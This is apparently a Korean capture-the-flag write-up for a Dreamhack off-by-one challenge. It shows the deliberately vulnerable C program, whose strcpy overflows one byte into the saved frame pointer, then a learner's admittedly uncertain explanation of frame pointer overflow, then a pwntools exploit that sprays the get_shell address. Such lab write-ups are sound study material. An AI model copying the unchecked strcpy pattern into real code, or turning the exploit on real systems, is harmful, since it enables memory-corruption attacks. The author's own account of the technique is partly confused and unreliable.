#include <stdio.h>
#include <stdlib.h>
#include <signal.h>
#include <unistd.h>
#include <string.h>
char cp_name[256];
void get_shell()
{
system("/bin/sh");
}
void alarm_handler()
{
puts("TIME OUT");
exit(-1);
}
void initialize()
{
setvbuf(stdin, NULL, _IONBF, 0);
setvbuf(stdout, NULL, _IONBF, 0);
signal(SIGALRM, alarm_handler);
alarm(30);
}
int cpy()
{
char real_name[256];
strcpy(real_name, cp_name);
return 0;
}
int main()
{
initialize();
printf("Name: ");
read(0, cp_name, sizeof(cp_name));
cpy();
printf("Name: %s", cp_name);
return 0;
}
get_shell
함수를 실행하는 것이 목표이다.main
에서 read하고 cpy
에서 strcpy하는 것을 보아, SFP 1바이트는 접근이 가능한 것을 알 수 있다.Frame Pointer Overflow
이 문제를 풀면서 처음 접하게 된 방법이다.
내가 이해한 것을 써보자면...
SFP는 우리가 함수 에필로그에서 돌아갈 스택의 주소를 나타내고 있다. 그런데 이 SFP가 바뀌게 되면서 ebp는 리턴할 스택이 아니라 임의의 주소를 가리키고 있을 것이다. 그 후 ret값은 바뀌지 않았으니 리턴할 것이다. 돌아가서 그 함수 관련 instructions을 다 실행을 한다.
그 후 다시 함수 에필로그가 실행이 될 때 esp는 ebp+4가 된다. 그러면 결국 ebp+4를 실행한다나 뭐라나...
아직은 잘 이해가 되지 않는다ㅠㅠ 나중에 다시 공부를 해야겠다.
exploit
어쨋든 ebp+4
를 get_shell
함수로 바꾸면 된다고 한다.
from pwn import *
p = remote('host3.dreamhack.games', 22157)
e = ELF('./off_by_one_000')
get_shell = 0x80485db
name = p32(get_shell) * 0x41
p.sendafter(b'Name: ', name)
p.interactive()
따라서 이런 코드를 짜면 된다.